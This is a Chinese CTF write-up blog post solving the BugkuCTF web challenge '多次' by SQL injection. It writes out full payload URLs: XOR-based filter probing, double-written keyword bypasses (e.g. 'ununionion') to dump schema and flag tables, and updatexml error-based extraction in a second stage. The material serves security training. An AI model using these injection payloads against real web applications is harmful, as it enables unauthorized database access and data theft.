BugkuCTF之web题之多次

11 篇文章 2 订阅

BugkuCTF之web题之多次

点击进去发现是:
在这里插入图片描述
看见有个id,一个一个试一试,到id=5时,发现有提示:
在这里插入图片描述
可以确定了,这题是sql注入。

判断一下是什么注入,加上单引号出错,加上#不出错,加上’ and 1=1#又出错了,应该是过滤,这时候我们就要判断一下SQL网站过滤了什么内容,这里有一个很好的方法知道过滤的是什么,使用 异或注入
在id=1后面输入 ‘^(0)^’
发现不出错,那就将0换成1=1
如果出错,那就是成功了
在这里插入图片描述
在这里插入图片描述
发现是可以的。
也就是说,如果括号里面的判断是假的,那么页面就会显示正确
那么同理,如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)是等于0的,也就是union被过滤了
在这里插入图片描述
通过以上的方法可以发现union,select,or,and被过滤了,limit,from没有被过滤。
尝试绕过过滤,既然union这些都是被过滤掉了
那构造ununionion 一旦union被过滤,删除了,那剩下来的还是union,这样就可以起到作用了
在这里插入图片描述
经过测试,用这个方法,确实可以。

最终的payload为
http://123.206.87.240:9004/1ndex.php?id=-1%27%20uniounionn%20selecselectt%201,2%23 发现在2的位置有一个回显
在这里插入图片描述
接下来就是爆库名,爆表,爆列,爆值。。。。

http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,database()%23
http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%22web1002-1%22%23
http://123.206.87.240:9004/1ndex.php?id=-1%27ununionion%20seselectlect%201,%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_schema=%27web1002-1%27%20anandd%20table_name=%27flag1%27%23
http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,flag1%20from%20flag1%23

库名:
在这里插入图片描述
表名:
在这里插入图片描述
两个??肯定查看flag1啦

flag1列名:
在这里插入图片描述
flag1列的值:
在这里插入图片描述
满怀欣喜啊,flag出来啦,赶紧交一波。
错误。。。发现题目:
在这里插入图片描述
难道在address里面??看一下咯!

http://123.206.87.240:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,address%20from%20flag1%23

发现:
在这里插入图片描述
what???还有下一关???那就继续咯。
点击进入,发现:
在这里插入图片描述
测试时发现暗藏玄机啊,字体是黑色的,坑~~,输入id=1’发现:
在这里插入图片描述
存在SQL注入,并且我们可以从回显中查看哪些被过滤掉了,注意是错误中的显示才是正确的。继续测试看看过滤,发现union,sleep,substr都被过滤掉了
双写无法绕过,大小写无法绕过。
更换函数,利用updatexml报错。

//查表名
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27~%27),3)%20%23
//查列名
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag2%27),%27~%27),3)%20%23
//查值
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20flag2%20from%20flag2),%27~%27),3)%20%23

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
终于得到了flag啊
赶紧交一下,还是不对!!
难道要两个??原来是小写,坑~~
PS:
这个题其实还有一种解法。。
叫啥布尔盲注,这个目前不知道,下次再说吧!!

  • 6
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 11
    评论
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值